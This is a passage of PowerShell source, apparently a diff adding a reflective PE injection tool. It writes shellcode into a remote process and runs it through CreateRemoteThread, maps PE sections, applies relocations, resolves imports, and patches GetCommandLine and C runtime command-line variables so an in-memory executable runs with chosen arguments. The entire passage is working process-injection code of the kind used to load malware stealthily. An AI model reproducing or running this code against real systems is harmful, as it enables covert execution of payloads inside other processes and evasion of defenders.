$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $DllAddress + } + + + Function Get-RemoteProcAddress + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $RemoteDllHandle, + + [Parameter(Position=2, Mandatory=$true)] + [String] + $FunctionName + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + $FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName) + + #Write FunctionName to memory (will be used in GetProcAddress) + $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) + $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RFuncNamePtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr) + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($FunctionNameSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + #Get address of GetProcAddress + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes + + + #Allocate memory for the address returned by GetProcAddress + $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($GetProcAddressRetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" + } + + + #Write Shellcode to the remote process which will call GetProcAddress + #Shellcode: GetProcAddress.asm + #todo: need to have detection for when to get by ordinal + [Byte[]]$GetProcAddressSC = @() + if ($PEInfo.PE64Bit -eq $true) + { + $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $GetProcAddressSC2 = @(0x48, 0xba) + $GetProcAddressSC3 = @(0x48, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) + $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) + $GetProcAddressSC2 = @(0xb9) + $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) + $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $ProcAddress + } + + + Function Copy-Sections + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + + #Address to copy the section to + [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) + + #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated + # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If + # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, + # so truncate SizeOfRawData to VirtualSize + $SizeOfRawData = $SectionHeader.SizeOfRawData + + if ($SectionHeader.PointerToRawData -eq 0) + { + $SizeOfRawData = 0 + } + + if ($SizeOfRawData -gt $SectionHeader.VirtualSize) + { + $SizeOfRawData = $SectionHeader.VirtualSize + } + + if ($SizeOfRawData -gt 0) + { + Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) + } + + #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space + if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) + { + $Difference = $SectionHeader.VirtualSize - $SizeOfRawData + [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) + Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null + $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null + } + } + } + + + Function Update-MemoryAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $OriginalImageBase, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + [Int64]$BaseDifference = 0 + $AddDifference = $true #Track if the difference variable should be added or subtracted from variables + [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) + + #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do + if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` + -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) + { + return + } + + + elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) + $AddDifference = $false + } + elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) + } + + #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified + [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) + while($true) + { + #If SizeOfBlock == 0, we are done + $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) + + if ($BaseRelocationTable.SizeOfBlock -eq 0) + { + break + } + + [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) + $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 + + #Loop through each relocation + for($i = 0; $i -lt $NumRelocations; $i++) + { + #Get info for this relocation + $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) + [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) + + #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase + [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF + [UInt16]$RelocType = $RelocationInfo -band 0xF000 + for ($j = 0; $j -lt 12; $j++) + { + $RelocType = [Math]::Floor($RelocType / 2) + } + + #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. + #This appears to be true for EXE's as well. + # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx + if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` + -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) + { + #Get the current memory address and update it based off the difference between PE expected base address and actual base address + [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) + [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) + + if ($AddDifference -eq $true) + { + [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + else + { + [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null + } + elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) + { + #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it + Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" + } + } + + $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) + } + } + + + Function Import-DllImports + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 4, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $RemoteLoading = $false + if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) + { + $RemoteLoading = $true + } + + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done importing DLL imports" + break + } + + $ImportDllHandle = [IntPtr]::Zero + $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + + if ($RemoteLoading -eq $true) + { + $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr + } + else + { + $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) + } + + if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) + { + throw "Error importing DLL, DLLName: $ImportDllPath" + } + + #Get the first thunk, then loop through all of them + [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + while ($OriginalThunkRefVal -ne [IntPtr]::Zero) + { + $ProcedureName = '' + #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit + # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint + # and doing the comparison, just see if it is less than 0 + [IntPtr]$NewThunkRef = [IntPtr]::Zero + if([Int64]$OriginalThunkRefVal -lt 0) + { + $ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + } + else + { + [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) + $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) + $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) + } + + if ($RemoteLoading -eq $true) + { + [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName + } + else + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) + } + + if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) + + $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + } + + Function Get-VirtualProtectValue + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt32] + $SectionCharacteristics + ) + + $ProtectionFlag = 0x0 + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE + } + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_READONLY + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_NOACCESS + } + } + } + + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) + { + $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE + } + + return $ProtectionFlag + } + + Function Update-MemoryProtectionFlags + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) + + [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics + [UInt32]$SectionSize = $SectionHeader.VirtualSize + + [UInt32]$OldProtectFlag = 0 + Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null + $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Unable to change memory protection" + } + } + } + + #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE + #Returns an object with addresses to copies of the bytes that were overwritten (and the count) + Function Update-ExeFunctions + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ExeArguments, + + [Parameter(Position = 4, Mandatory = $true)] + [IntPtr] + $ExeDoneBytePtr + ) + + #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. + $ReturnArray = @() + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + [UInt32]$OldProtectFlag = 0 + + [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") + if ($Kernel32Handle -eq [IntPtr]::Zero) + { + throw "Kernel32 handle null" + } + + [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") + if ($KernelBaseHandle -eq [IntPtr]::Zero) + { + throw "KernelBase handle null" + } + + ################################################# + #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. + # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. + $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + + [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") + [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") + + if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) + { + throw "GetCommandLine ptr null. GetCommandLineA: $GetCommandLineAAddr. GetCommandLineW: $GetCommandLineWAddr" + } + + #Prepare the shellcode + [Byte[]]$Shellcode1 = @() + if ($PtrSize -eq 8) + { + $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 + } + $Shellcode1 += 0xb8 + + [Byte[]]$Shellcode2 = @(0xc3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + + + #Make copy of GetCommandLineA and GetCommandLineW + $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null + $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) + $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) + + #Overwrite GetCommandLineA + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineAAddrTemp = $GetCommandLineAAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + + + #Overwrite GetCommandLineW + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineWAddrTemp = $GetCommandLineWAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + ################################################# + + + ################################################# + #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. + # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. + # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the + # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. + $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` + , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") + + foreach ($Dll in $DllList) + { + [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) + if ($DllHandle -ne [IntPtr]::Zero) + { + [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") + [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") + if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) + { + "Error, couldn't find _wcmdln or _acmdln" + } + + $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + + #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state + $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) + $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) + $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) + 